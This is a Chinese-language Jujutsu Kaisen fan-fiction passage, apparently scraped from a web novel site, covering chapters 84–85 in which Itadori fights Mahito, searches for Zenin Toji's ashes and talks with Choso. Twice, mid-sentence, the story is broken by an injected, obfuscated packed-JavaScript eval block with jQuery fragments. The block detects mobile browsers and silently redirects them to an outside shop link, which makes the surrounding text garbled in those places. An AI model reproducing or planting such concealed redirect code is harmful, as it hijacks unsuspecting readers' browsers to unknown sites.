真人还在兴奋地侃侃而谈:“你觉得灵魂是什么?灵魂与肉|体究竟哪个更优先呢?吞下了宿傩的手指却没有成为容器,你的存在真的让我非常好奇,虎杖悠仁!”
虎杖悠仁咬牙回道:“谁管你啊?!”
“哼哼,”缝合脸咒灵舔着嘴唇,想象着这个少年灵魂的味道,“你难道一点都不好奇吗?”
见虎杖悠仁始终以沉默的姿态面对自己,真人眼珠一转,忽然像是调皮的孩童一样跳起来夸张地拍着手,用纯真到可怕的语气说:“我懂了!难道你还觉得自己是个人类吗?不会吧?!”
这话终于彻底激怒了虎杖悠仁,琥珀色的瞳孔骤然紧缩,甩向咒灵的时候拉出了锐利的光芒。
真人嘲弄地翘着嘴角,居高临下地俯视他继续说道:“——明明浑身上下都是诅咒,说你是两面宿傩的容器某种意义上也没有任何错误啊~”
变故突生。
真人没有看到虎杖悠仁做出任何动作,然而它脑海中那根紧绷的弦突然被人轻轻拨动,只留下慢慢消失的震颤。它的体表出现了几处杂乱无章的伤痕,它们缓慢、坚定地不断扩大,直到鲜红的血滴在咒灵异色的双眼中倒映出来。
在真人眼中无限拉长的时间其实不过一瞬,它话语的尾音还未掉到地上,身体就已经被无形的斩击切开了。
这是来自虎杖悠仁的警告。
“下一次就不只是切开身体了,”粉发少年神色冰冷,瞪着真人威胁道,“别来挑衅我。”
斩击几乎将它前后贯穿,不过比起感受到的疼痛与惊讶,它现在好奇得要命。毫无疑问,这是属于诅咒之王的术式,尽管真人它们总爱用“宿傩的容器”来称呼虎杖悠仁,不过这更多的是带着轻视的称呼,因为宿傩并未真正受肉,而它们也对诅咒之王缺乏最基本的敬畏。
然而现在它看到的这种眼神、感受到的这种疼痛——
“嘿嘿、嘻嘻嘻哈哈哈哈哈哈哈——果然!!虎杖悠仁,你果然——”
虎杖悠仁切碎了真人的脑袋,它癫狂的笑声戛然而止。
没再管倒地不起的“尸体”,虎杖悠仁厌恶地迅速离开了这里,将它甩在了地上,任由血液从破溃的伤口中汩汩流出。
他知道自己的攻击对真人没有任何作用。它是在人对人的憎恶与恐惧中诞生的诅咒,本体是灵魂,对它来说肉|体只是灵魂捏造出来的外表,如果无法像它一样触摸到灵魂轮廓的话,任何攻击都无法对它造成伤害。
【御厨子】已经逐渐应用自如,虎杖悠仁可以不再借助辅助线,仅凭视线聚焦来完成术式对象的选择,将“切断”的现象变为现实。
真人的话终究还是对他造成了一些影响,因为虎杖悠仁无法完全否认它。吞下的手指越多,他对【御厨子】的掌控越强,“宿傩的容器”似乎慢慢地不再是一个可以让咒灵们哄堂大笑的虚伪名头。
只是,他在看到那些可怖的切口出现在真人身上时,心里仍会下意识地颤抖、不受控制地抽痛。
罪孽是不能拿来当做逃避的借口的。
少年的目光倔强地亮着,连黑夜都无法遮住双眸中的执着。
他会将一切“诅咒”彻底祓除,而能够做到这一点的方法,他也早已知晓了不是吗?
84. 第 84 章
“这又是怎么回事?不是说有咒胎吗?”钉崎野蔷薇坐在车里,疑惑地问道。
伊地知洁高正在和一直留在少年院附近的辅助监督沟通,伏黑惠决定下车靠近去看看究竟发生了什么事。
“不许无视我啊!”钉崎野蔷薇跟着他一起下了车。
伏黑惠指了指空空如也的天空:“还留着这种程度的残秽说明我们没来得太晚。”
棕发少女仔细看了看,嘁了一声:“那不还是来晚了吗?伏黑,你看起来知道点什么?”
伏黑惠脑海里大概多少有点猜测,只是还不能完全确定。他这模棱两可的回答让钉崎野蔷薇很不满意,不过她明白伏黑惠的顾虑。
“又和你那个‘不能提起’的朋友有关?每次说到乙骨前辈的恋人,你们总是这样子遮遮掩掩的。那家伙难道是个诅咒师?真的假的?这不是只有小说中才会出现的情节吗?”
“?!”伏黑惠有些诧异地看着刚刚入学不到一个月就将他和二年级前辈之间的秘密看穿了的钉崎野蔷薇,得到了少女的一个哼声。
“本小姐可是很善解人意的,本来你们不想说就算了,但是这次怎么看都很奇怪吧?”
“......不,你到底是怎么连那家伙和乙骨前辈是恋人这件事都发现了的啊?”
钉崎野蔷薇直白地说:“当然是五条老师说的啊。”
伏黑惠扶额,他就知道。
目光重新落回少年院里,在被拉起的警戒线内摆放着两排尸体。它们被人整齐地码放在了院落的一角,现在已经有警察用挡板将尸体彻底遮住,不过伏黑惠还是看到了它们的情况。
没有一具是完整的,不是从腰部断裂就是缺少了手脚,似乎将它们挪动到这里的人无法将它们重新拼凑在一起,所以只能遗憾地整整齐齐将它们逐一摆放好,尽可能地找回了所有人的名牌。
“这里是少年院啊。”钉崎野蔷薇缓缓开口。
“嗯。”伏黑惠应道。
“看起来是个善良笨蛋。”少女如此断言。
也许这些人里有罪有应得的家伙,尽管如此那个人还是将他们全都带了出来,给予了同等的尊重。
伏黑惠:“的确是个笨蛋。”
伊地知洁高一头雾水地回来,通知他们可以先行撤离,这个任务暂时没有什么他们可以继续做的事情了。
很远的山头,真人拿着望远镜看到咒术师们离开了少年院。
“诶——夏油,你的计划完全被打乱了诶~”它兴致勃勃地说:“你也给他太大的自由了吧?用一根手指换来这样的结果,总感觉白白浪费了好东西。”
羂索撑着额头,笑容不变:“那孩子体内的手指数量越多,似乎和仍旧散落在外的手指的共鸣就更强烈。我倒是不知道一个不完全的容器还能和咒物产生这样的联系,也许真的有灵魂的作用在其中吧。”
只是一根手指而已,羂索还不至于为了这种事苛责那个孩子。
“不过,下一次确实得让他稍微安静一些了。”
真人观察着羂索的表情,随后噗嗤一声笑了出来。
“夏油,你看起来和虎杖悠仁之间有什么不可告人的联系诶。”它仰着头,将身体捏成了各种奇怪的形态,探究着自己的能力和力量极限。
羂索嘴角上扬,半带着点调侃意味地说:“你说自己能够观察到灵魂的形状......我很好奇,如果人与人之间产生了血脉的联系,灵魂也会呈现出相似的模样吗?”
真人想了想,随意地回答道:“会的吧?毕竟家人之间的外貌会有相似的地方,按理说灵魂也应该也会相似才对。不过嘛——”
异色的眼珠向上翻着,几乎要将瞳仁完全翻到后面去:“人类的灵魂很奇怪,它们都是独自生长的呢~”
这倒是符合真人对人类的看法。人类将孤独的内里用肉|体包裹,构建起了如此庞大又虚假的社群,企图通过肉|体之间的微弱相似寻求同类的认同。
“人类是最擅长自我欺骗和伪装的家伙,简直满口谎话,明明心里不是那么想的却要为了某些原因强迫自己承认,去做不愿意做的事,”真人将肉|体恢复了人形,伸了个懒腰说道,“看得多了就觉得很无聊。”
“你觉得诞生自负面情感的你们才是真正的人类喽。”羂索眯着眼睛说道。
真人斜眼瞥着他,同样扬起笑颜:“这么说也没什么问题吧?哈哈!”
“很有意思的看法,”羂索起身,他准备开始谋划下一次的行动,顺便让最近有些太过活跃的虎杖悠仁稍微安静一段时间,“对了,上次你说的那个人类......”
“啊,你说顺平?”真人一下子跳起来,跟在羂索身后一起往山下走,说起自己的新玩具时脸上难掩失望:“顺平这个人吧,怎么说呢?和普通的人类有点不同,但终究还是个人类。”
只是一个稍微聪明一点的笨蛋罢了。
“怎么,你又有什么好点子了?不过这次你得把虎杖悠仁看好了才行,如果你不需要了的话就把他送给我吧!”
羂索笑眯眯地回应:“首先要确保计划能够顺利进行,真人。这次就借助顺平的力量吧。”
“嘁,真没意思~”
各怀鬼胎的两个人看似其乐融融地离开了山顶。
成功赶在所有人之前拿到了被投放到少年院的宿傩手指,虎杖悠仁抄小路回了新宿的居所。
吞下的手指越多,宿傩的气息在他身上就越明显。力量得到了增幅的代价就是逐渐张扬、无法收敛的逸散咒力,如果是咒力感知特别敏锐的家伙很容易就能发现他的踪迹。
如果再这样继续下去,总有一天会被咒术界的其他人发现的吧?
“......联络诅咒师?他又在打什么主意?”
胀相摇了摇头。
虎杖悠仁不敢联络枷场姐妹。他不知道要如何面对视夏油杰为救世主的朋友们,不知道要如何告诉她们“是我亲手杀死了他”这个残忍的真相。羂索似乎在打什么主意,联络诅咒师们意味着他需要借助他们的力量,和当年的百鬼夜行同理,只不过这一次“夏油杰”不会让他们在生死之间有逃跑的选择。
“这种事应该让孔时雨去做才对。”虎杖悠仁找到羂索,提出了异议。如果羂索需要一些无关紧要的人帮他拖延时间或充当炮灰,花钱在诅咒师们使用的暗网上广泛搜罗亡命徒才是最有效率的,除非羂索不准备花这笔钱,想利用曾经追随着夏油杰的诅咒师们未完成的理想得到他们助力。
“呵呵,他现在也很忙的。既然你不愿意,那就去做另一件事吧。”羂索耸肩,看似善解人意地给虎杖悠仁让出了另一条路。虎杖悠仁觉得他几乎就是故意这样说的。
“......做什么?”
“去找禅院甚尔的骨灰。”
禅院?
虎杖悠仁想起了那个速度极快的术师,他后来才知道去教会围堵他的人就来自御三家之一的禅院家。说起来,他到现在都没搞明白羂索用什么样的方法撺掇他们来到教会、径直奔着杀死他而去。
“禅院家的话,你直接跟他们要不就好了。”他试探着说。
“啊,你还在为那件事而困扰?”羂索的敏锐总让虎杖悠仁觉得有些可怕,他似乎什么事都记得、什么事都知道,“不必在意,那个时候他们只是一种备选方案,尽管选择了另一条路,但我觉得他们对计划的影响不大,所以也没再调整对他们的安排。”
“这次也是一种备选方案?”
羂索从不在意他僭越的提问:“选择当然是越多越好。”
他似是突然来了兴致,向虎杖悠仁招手,不过粉发少年站在原地没有动。羂索也不恼:“这件事只能你自己知道,悠仁。”
“哪件事?”
羂索看着他。尽管是同样的皮囊,可虎杖悠仁如今却能看透了他。
“看来你稍微变得聪明一点了啊,”羂索笑意不减,而虎杖悠仁却因为他轻佻的语气怒火中烧,“语言的力量总是远超想象。”
这种事,虎杖悠仁早就知道了。
羂索扬起眉毛,毫不在意他愤怒的瞪视:“你最近太活跃了,要么安静地去做事,要么待在陀艮的领域里直到我允许你离开。”
“你自己做个选择吧。”
虎杖悠仁已经再也感受不到小时候曾经有过的灵魂共鸣。哪怕源自内心深处的依赖与向往仍旧潜移默化地游荡在心中,可这样的波澜却再也无法推动心之崖壁,只会让他觉得恶心和憎恨。
“我去。”
虎杖悠仁紧握着拳头,应道。
他几乎一分一秒都没办法继续再在这里待下去,在推门离开的刹那,他突然明白了束缚的意义。他试图从语言上击败羂索,这是因为他一直以来只将束缚认作玩弄语句的投机取巧,反而无视了咒术才是构成束缚的根本力量。
诅咒之力诞生自人的负面感情,也就是从心中产生的力量。达成束缚条件的本源并非宣之于口的语言,而是人内心中的某个想法!
就算口是心非,只要伪装得足够好,总能取信于人,达成所愿。
虎杖悠仁狠狠闭上了眼睛。
束缚本是人对自己的某种约束,如果本人不打心底里承认这一点的话,束缚是不会成立的。也正因如此、正因人与人的心无法真正意义上相通,所以在多人之间建立束缚是非常困难的事。
他现在恶心得要命,径直向前冲了出去,想要找个没人的地方不管不顾地肆意发泄胸腔中的积愤。
他无视了胀相发来的消息,随意找了个人少的方向埋头走了很久,直到周围除了偶尔经过的车辆之外再看不见行人,他才拿出了手机。
他看见了一个通向无名神社的小路,周围是成片的麦田与野地,除去满眼的绿,还有无数点缀其间的各种色彩。难免让人回忆起从前出门后就能立刻映入眼帘的野花地。
虎杖悠仁不自觉地被自己的脚步带着走入了花丛中。
野花们的香气包裹了他,他垂头让视线拂过那些大小不一的花朵,想起年幼时他也曾在这样的地方尽情奔跑,他还记得那个时候他自己也只同这些野花们一般高。
虽然有点自夸的嫌疑,不过他自认为他编花环的手艺还是要比乙骨忧太好上不少。他从爷爷那里学来了太多像这样没什么用的小技巧,不过能在展示给乙骨忧太看之后得到他发自内心的欢呼,这让他感谢自己还记得这些。
羂索想要支开他,虎杖悠仁唯一能够想到他口中所说的“活跃”就是指他拿走宿傩手指的这件事,而最近的一次就是少年院里的那一根。看来是他无意中打乱了羂索计划中某个比较重要的环节,这才让羂索开始限制他的行动。
“......”他蹲了下来,尝试着回到幼时的视角观察这片花田。
他回想着羂索的目的,那看似疯狂的目标却在被一步步推进——以虎杖悠仁无法理解也看不清楚的方式,如今有了特级咒灵们的加入,这个进程也被无限度地加速着。
矛盾的中心是那根宿傩的手指。
如果他们想让两面宿傩受肉,大可不必选择这样迂回的方法。既不想让虎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378223|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杖悠仁拿走,也不是想让宿傩受肉,那么他们想利用这根手指达成什么样的目的,或者说,把它送给谁呢?
他捉住了一个被风吹得在他眼前左右摇摆的小花,指腹捏着花茎,却没有狠心葬送它的生命。
伏黑惠刚和钉崎野蔷薇回到教室,放在兜里的手机忽然震动着收到了信息。
他打开看了一眼,疑惑地挑起眉毛。
“怎么这副表情啊伏黑?”钉崎野蔷薇凑过去,看到一个陌生的联系号码发来了一段话:“高专......那里有几根宿傩的手指?!这种事情是能直接问你的吗?!”
看着黑发同期抬手准备打字的模样,钉崎野蔷薇试着阻拦:“等等等等!直接说出去真的没问题吗?!”
伏黑惠从容地解释道:“那家伙身上有麻烦的束缚,所以一般不会随便说没用的事。这么问大概是有什么要紧的情况,只不过我现在还没什么头绪,等一会儿让五条老师和乙骨前辈他们考虑一下吧。”
“哇——好平淡!”
钉崎野蔷薇放开了阻拦的手。那个名叫虎杖悠仁的家伙到底是个什么样的人啊?她还觉得伏黑惠是很难信任他人的人,结果却对这个她素未谋面的家伙给出了这么多的信赖,简直惊掉了她的下巴。
“不过他为什么不直接给五条老师发消息?没有联系方式吗?”
“......不知道。”
钉崎野蔷薇瞥了他两眼,默契地略过了这个话题。尽管没有得到正面回答,但她多少听出了一些。
伏黑惠大概是知道为什么虎杖悠仁宁愿绕一圈和他们联络也不直接打电话给五条悟,只不过其中涉及到了更多的秘密,她这个同期可能是觉得解释起来太过困难复杂,或者觉得她还是不知道为好,总之善解人意的她接受了来自同期的“关爱”。
于是伏黑惠把虎杖悠仁想要知道的事告诉了他。高专这段日子的确回收了一些宿傩的手指,不过数量一只手就能数得过来。
对面回了一个“谢谢”。
乙骨忧太正坐在越野车后座,忍受着颠簸带来的眩晕与不适,而米盖尔则悠然坐在副驾享受着家乡的气息。
“哈哈,在你们那里可没见过这样的草原吧?”哪怕开着车窗也难以缓解胃部的不适,乙骨忧太在上车之前吃了太多的食物。那是一种极具肯尼亚风味的特色食品,因为食用前要用薄饼将馅料卷在中心,所以被乙骨忧太简称为卷饼。
他将头伸出车窗外,有点后悔为什么没有选择那辆敞篷的越野车。这里充满了野性与自由,他曾在电视和虎杖悠仁桌子上的旅行手册见过被折叠成平面的草原,而如今亲身来到了这里,只觉得原来世界也可以变得如此广阔。
天空、大地,连天上的云都仿佛能够向远处无限延伸,它们的颜色也都是乙骨忧太从未见过的纯粹。
“嗯。”
好想让悠仁也看看啊。
开车的向导是当地人,听不懂日语,所以他们就放心大胆地谈论着咒术界的事。米盖尔说:“没想到还真的被你找到了。老实说见到你的时候我还幻想过也许他还没彻底离开。”
不过,这样的结局倒也算不上不能接受。
“夏油先生死于一场阴谋。”乙骨忧太直截了当地说。
米盖尔闻言扭头看向他:“你这是什么意思?”
“现在有‘某个人’,”乙骨忧太的黑发被风吹得向后扬起,露出额头和低垂的眉眼,目光锐利,“占据了他的尸体。”
“......至少他的死亡总是遵从了自己的意志吧?”
乙骨忧太的沉默令人不安,米盖尔将视线收回,转而望向草原上稀疏的高树。他不像拉鲁那样能够面不改色地讲出一些冠冕堂皇的话,不过他们多少都抱有同样的目的。按照拉鲁的说法,他们都想见到夏油杰成为“王”。
其他人多少都曾期待着夏油杰口中的未来能够实现,但米盖尔只是单纯被那个人追逐理想的狂热吸引,所以哪怕他倒在了半途也不会觉得幻想破灭,甚至会认为那是一个配得上他的“好结局”。
乙骨忧太打断了他的思绪:“我需要黑绳。而且,为了粉碎那个人的阴谋,我需要你的力量,米盖尔先生。”
对这种年轻人惯常表现出的口是心非了如指掌的黑人术师敲了敲车窗,笑道:“我看你是想让我帮你杀了他吧,乙骨。”
和米盖尔一样,他们追逐着“人”。乙骨忧太其实并不在意羂索的阴谋,他唯一想要做到的就是杀死这个人。
黑发少年大方地承认了这一点:“为了亲手杀死他。”
他的回答让米盖尔敞开胸膛笑了起来,笑声从车子里飞了出去,消失在了一望无际的草原上。
“那就祝你好运,乙骨。他的故事已经结束了,如果你真的做到了你的承诺,到时候再来邀请我去吊唁他吧。”
乙骨忧太并不意外米盖尔会做出这样的选择:“谢谢你,米盖尔先生。”
坐在前排的人挥了挥手:“当时战斗后的黑绳只剩下了一小节,我送回了族里。不过你要做好心理准备,他们制作一根绳子就要花上几十年的时间,你去了大概也只能拿到当时剩下的那些。”
甚至可能之后、乃至几十年后的未来都不可能再有新的黑绳被编出来了。精于这门手艺的族人已经老到制服不了诅咒,族里也没有能够将技法继承下去的人,米盖尔本人也不想为了编绳子而把自己困在这片草原里几十年。
“我明白的。”乙骨忧太应道。机会总是宝贵的,能够在其中选中正确的那一个更是——千载难逢。
85. 第 85 章
“禅院?我们那里有姓这个的人吗?”柜台后的女人掀开通往后台的帘子,询问一番无果后摇着头说:“估计你找错人了,我们这里没有姓禅院的人。”
虎杖悠仁拉低兜帽,从灯红酒绿的店面里离开了。他依旧不太想找孔时雨,独自上了诅咒师们活跃的网站翻找了很久很久,最终找到了一些他觉得可能与禅院甚尔有关的信息。
让他留意到那个发布在2006年的悬赏的是一张过于显眼的照片。那个时候的拍照技术显然没办法做到现在这么清楚,不过过于眼熟的白发和黑色制服还是让他一眼将照片里的人认了出来。
“好年轻的五条先生......”鼠标光标停留在了那张照片上,然后他意识到发布那个悬赏的人居然是孔时雨。
当年羂索将他拜托给孔时雨看顾的时候叫的就是他在暗网上曾经用过的账号名字,尽管这个聪明的中间委托人早已舍弃了那个账号,但就是这样的巧合让虎杖悠仁留意到了发布悬赏的账号和他听到过的名字读音相同,由此大胆地猜测到了账号所有人的真实身份。
真是好勉强的巧合,不过虎杖悠仁顺着这条线索继续找了下去,多少还是有些收获的。其实他也不是没想过直接在这个网站上发布悬赏搜集与禅院甚尔有关的信息,反正他还有不少存款,但最终他还是放弃了这个想法。
即便有人为了赏金来提供线索,他也没办法直接说“你知道他埋在哪吗”之类的话,到时候还得为了验证消息的真假而浪费更多的时间。
禅院甚尔,术师杀手、天与咒缚,这是诅咒师们提起这个名字时最常说的评价。他渐渐从保留在电子数据中的蛛丝马迹拼凑出了这个对他来说完全陌生的人,胀相原本还搬了个凳子坐在他旁边,美其名曰想要学习现代技术,结果大概看了几个小时之后就彻底放弃了。
似乎是个爱好赌马、很能赚钱也很能花钱的人,在各种悬赏下的留言也言简意赅,不过某些时候还是能从三两个词汇中感受到他对自己实力的绝对自信。
似乎是从某一年开始,这个人彻底销声匿迹。
既然羂索说了要找骨灰,那就代表着他肯定已经死了。虎杖悠仁神色如常地穿过红灯区的小巷,思索着天与咒缚这个词的意义。他对禅院家的了解不多,不过多少也曾听闻他们家那句著名的言论:非禅院者非术师,非术师者非人。
生在沉醉于血脉与咒术天赋之中的封建家族,一个“天与咒缚”就足够说明为什么禅院甚尔会离开禅院家,活跃在诅咒师的世界了。这样的人死后也绝对不会被家族接纳,所以想要寻找他的坟墓只能从他的过往经历入手。
而且,既然被称为术师杀手,就代表着他牺牲咒术天赋、与生俱来强制施加于肉|体的能力让他得到了无与伦比的力量。这样的人绝对不会什么都没有留下。
虎杖悠仁幸运地在一家饭店老板的口中得到了更多的消息。混杂着烟酒臭味的小店里摆放着几台电视机,上面播放着赛马的实况转播。不少人的桌子上没有什么饭菜,他们密切地关注着比赛的动向,脸上难掩狂热。
这家店的老板对禅院这个姓氏没有印象,但说起甚尔这个名字倒是一脸恍然大悟地笑了起来:“你要是说甚尔,我可是还记得那家伙呢啊,毕竟当时那个女人一直‘甚尔甚尔’地喊着来找他嘛。”
“女人?”
“看上去是个和这里不搭调的女人,估计那家伙也没想到居然被人追到这里来了吧,”老板断断续续地回忆,“我还是第一次在那家伙的脸上见到那种表情。”
虎杖悠仁坐在桌前听着,没有打断他。
“说起来,真是很久都没见过他了,得有十年?不、应该不止,大概十五年左右了吧?算算时间,那家伙的孩子看起来应该和你差不多大了吧?噗哈哈,你能想象那个赌鬼居然还有个爱他的女人,甚至还有个孩子吗?真不知道他每次都从哪里搞来那么多的钱......”
虎杖悠仁没有听完他絮絮叨叨的猜测。
他的妻子能够找过来、那个时候他家里还有个孩子,如果算是和自己同龄的话,结合到禅院甚尔最后活跃的时间,那个孩子当时应该也才刚刚出生没多久,他的妻子不可能跑到很远的地方去找他,因此......也许禅院甚尔曾经就住在这附近。
虎杖悠仁特意找附近年纪大一些的人继续询问他们记不记得一个叫“甚尔”的人。大部分人表示没什么印象,不过一个开超市的大叔却对这个名字有点印象。
“那家伙啊,我还记得他,他们家曾经和我家是邻居,”老板的话让虎杖悠仁升起了一些希望,“不过后来不知道什么时候就搬走了,之后就不清楚去了哪里啦。”
“似乎是妻子病逝了吧,留下了一个孩子,可怜他还那么小,老爹又是个不靠谱的......”这种八卦信息总是能让人记忆深刻,老板还记得他被隔壁婴儿的哭闹吵得睡不着觉,结果第二天叫上社区的社工上门之后发现那个人居然将孩子一个人留在家里。
“是个人品不怎么样的烂人吧。”最终,禅院甚尔在老板的回忆中以这样的形式定格了。
虎杖悠仁敲开了贴着很多广告纸的铁门。
“上一任房主?这可有点难办,我得给你好好找一找,”房屋的主人有些为难,不过看见虎杖悠仁带过来的礼物之后还是同意了他的请求,“毕竟我是从长辈手里继承的房子,想要找到上一任可不容易。”
“打扰了。”虎杖悠仁在门外等候。
他的等待得到了对等的回报。房屋的上一任主人的确是禅院甚尔,这里的确曾经是他的居住地。
天色渐晚,今天的调查估计就到这里了。
正当他准备离开的时候,房主忽然叫住了他:“你是他什么人?”
“嗯......算是远房亲戚吧。”
房主说道:“你要是想找他的话还是算了吧,大概十多年前他就死了。”
虎杖悠仁:“请问你们是怎么......?”
“我家长辈刚才说当年他们还住在这里的时候有个人过来问他还有家里人吗,问了他老婆的事,似乎想把那个人的骨灰带给他家里人来着。”
虎杖悠仁微微睁大眼睛。
房主家里的长辈隔着这么多年仍旧记得这件事的原因是那个来送骨灰的人是个白头发、长得蛮端正的年轻小伙子,看起来还在上学,不过语气却很嚣张。
这个描述,怎么听起来像是五条先生?!
虎杖悠仁暗自咕哝,感谢五条悟那出色的外表和不羁的性格。
“嗯?你要问骨灰的话......当然是被那个白头发的小伙子带走了。至于更多的我们就不知道了。”
“已经帮大忙了,谢谢你。”虎杖悠仁带着更多的疑问离开了这栋公寓楼。
他没什么睡意,也暂时不准备离开这附近,所以漫无目的地游荡在街头。他不知道羂索要用禅院甚尔的骨灰做什么,虎杖悠仁觉得应该不是想要换成他的身体,毕竟禅院甚尔没有完整的尸体留存下来,就算下葬前没有火葬,现在也应该只剩下骨头之类的残骸。
这附近的夜晚简直比白天还要更热闹,因为居酒屋众多,不少居民和上班族会选择在晚上来到这边享受夜生活。
就当他准备找一个人少一点的快餐店随便度过这个晚上的时候,模模糊糊感受到的咒力波动让他打消了这个想法,顺着咒力出现的方向慢慢找了过去。反正晚上也没什么要做的事,就当顺路祓除咒灵打发时间了。
他越走越偏,最后在一片难得黑漆漆的地方停下了脚步。院墙内外天差地别,隔着一条马路的对面就是居酒屋的后门,偶尔还会有喝得醉醺醺的人晕头转向地走到路边呕吐。
虎杖悠仁望向一片漆黑的院墙内。隔着很远的地方能够看到只有一间屋子里亮着朦胧的灯光,而周围隐没于黑夜中的地方全都是......
他趁着四下无人,直接翻越了围墙。这里是一片公共墓地,怪不得会有诅咒生成。
虎杖悠仁的到来没有惊动任何人。
刚刚化为实体的诅咒不具备知性,它甚至连发声的能力都没有进化完全,在【御厨子】的切割下无处可逃。
凝视诅咒的目光游动着,恰到好处地落在了脚边的墓碑上。
粉发少年瞪大了双眼。
他甚至夸张地揉了揉眼睛,再次确认自己没有看错那个刻在墓碑上的名字。
“真的假的啊,”虎杖悠仁有点不可置信地说,“居然就这样......”
他细数这几天遇到的“巧合”,不由警惕起来。他不觉得自己有什么幸运的诅咒,也不相信什么会有恰到好处的“奇迹”。在无数次被操纵着走上不由自己选择的道路之后,他开始敌视任何企图以命运的外表欺骗他的行为。
这是无法完全掌控自我命运者最后的挣扎......哪怕不够体面,哪怕没有任何意义,虎杖悠仁也要拼命维护可笑地挣扎的权利。
毫无疑问,墓碑上写的正是禅院甚尔的名字,虎杖悠仁甚至不需要挪动脚步、花上一晚的时间在这片公共墓园里逐一寻找过去,他需要的东西就这样明晃晃地送到了他自己的面前。
“......”
虎杖悠仁对着除他之外再无第二人的空旷墓地说道:“我知道你一直跟着我,花御。”
大地的咒灵从土中浮现,谁也听不懂的语言传入大脑中后直接转化为了某种具体的意象,让虎杖悠仁理解了它想说的话。
粉发少年抬脚就走,仿佛不堪忍受这样和咒灵“亲密无间”:“随你,不管你们打什么主意,我答应他的事已经做完了。”
眼眶处生长着枝条、用布匹包裹着一只臂膀的咒灵仍旧说着什么,但虎杖悠仁不再给予回应。在他离开后,花御用咒力生成枝条深入地面,取走了它们需要的东西。不,应该说是羂索需要的东西。
虎杖悠仁给胀相打了电话。
“不,他什么都没说,”胀相看了看在客厅里研究飞行棋的弟弟们,解开了自己身上的围裙,“怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378224|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了悠仁?”
“没什么,只是今天有点幸运过头了,总觉得要发生什么不好的事。”这种预感总是与他如影相随,萦绕在心头怎么都驱散不了。
胀相疑惑:“幸运应该是一件好事吧。”
虎杖悠仁难得苦笑道:“怎么说呢,也许是我太敏感了,我总觉得发生在我身上的幸运只是恰巧因为我的行动迎合了某人的期望,所以他摆平了一切阻碍好让我顺理成章地跳到坑里去。”
胀相多少明白过来让虎杖悠仁这样疑神疑鬼的原因。他还没有亲自体会过人生在自己没有意识到的时候受人操纵的感觉,不过如果想要设身处地地理解虎杖悠仁的感受也并非难事,从九相图们的降生勉强能够让他窥探一二。
“悠仁,”于是他说道,“把我们当成真正的兄长来看待吧。”
“......怎么突然这么说?”
胀相的话让虎杖悠仁快步离开的脚步逐渐慢了下来,最终在路灯下站定,恰恰停在了光圈的正中。
连影子都规规整整地待在脚下。
他听到胀相似乎走到了阳台,关上了连通客厅的门,并不想让接下来说的话被坏相和血涂听到。
“我知道你一直对我们以家人相称感到奇怪,毕竟我们没有通常意义上以家人的关系相处的时间,”胀相靠在阳台的栏杆上,脚边是虎杖悠仁随手种的各种植物,他不在家的时候血涂会帮他浇水,只是偶尔会淹死一两株生存能力不够强大的家伙,“我觉得多少应该将我是怎么想的告诉你才行。”
虎杖悠仁嗯了一声,表示自己正在听。
“我既自称兄长,自然是想要走在弟弟们的前面。不论是否能够配得上‘兄长’这个称呼,我都想成为你们的表率。如果兄长走的路是正确的,那么弟弟们只需要跟在我身后就好。如果兄长走上了错误的路,你们只要避开,去选择真正正确的那一条。”
而最令他难过的是他缺席了虎杖悠仁从前的人生,等到他们终于在机缘巧合下重逢时,虎杖悠仁已经独自一人在这个狰狞的世界中横冲直撞了太久。
“所以我很欣慰至少还有人愿意陪着你一起,”胀相提起了乙骨忧太,“我知道你们之间的羁绊牢不可破,就算我们想要以家人的身份介入到你的生活中,也绝不会让你像信任他那样信任我们。”
虎杖悠仁换了个姿势,觉得头顶的灯把发丝照得有点烫。
“但是至少,他没办法陪在你身边的时候,看看你的家人吧。”
粉发少年低声细语地说:“胀相,我没有......”
“叫我哥哥吧。”胀相打断了他。
虎杖悠仁张了张嘴,他本以为自己会有些勉强,也决定无论如何都要说出来,可事实上话到嘴边,那个称呼就这样自然而然地通过电话落入了期待着的胀相耳中:“哥哥。我并非仍对你们心存疑虑,只是,你们因为血脉的关系选择站在了我这边,我不知道对你们来说究竟是远离这里好,还是带着你们一起陷进漩涡里......”
胀相说道:“你似乎误解了什么,悠仁。我们不是光凭血脉就轻易做出决定的,就像选择成为咒灵还是成为人类,我觉得那并非凭借这一身血液就能简单断言的东西。”
“与你一起生活的这段时间,也许你不这么认为,但对我们来说,这正是以‘家人’的身份共同生活的开始,”胀相抬头望着天上散落的星星,“你要明白你对我们而言拥有特别的意义。”
“......”虎杖悠仁眨了眨眼睛,他忽然觉得视线有点模糊,可一眨眼却又恍如幻觉。
“悠仁?”
“啊......我只是,”虎杖悠仁有点不自然地挠着头,答道,“我没想到你们居然是这么想的。”
胀相回想起作为咒物存在的一百余年。身处混沌中、拥有自我意识却无法自由行动,受限于束缚而存活下来的、毫无意义的漫长时间里,他一直在思考。弟弟们环绕在身侧的心跳声中,他萌生了对于“兄长”一词最初的看法。
“直到真正降生,我才意识到想要做到这一点需要付出怎样的努力......至少我们不需要为了吃穿发愁,可即便如此成为一个合格的兄长也并非易事。”
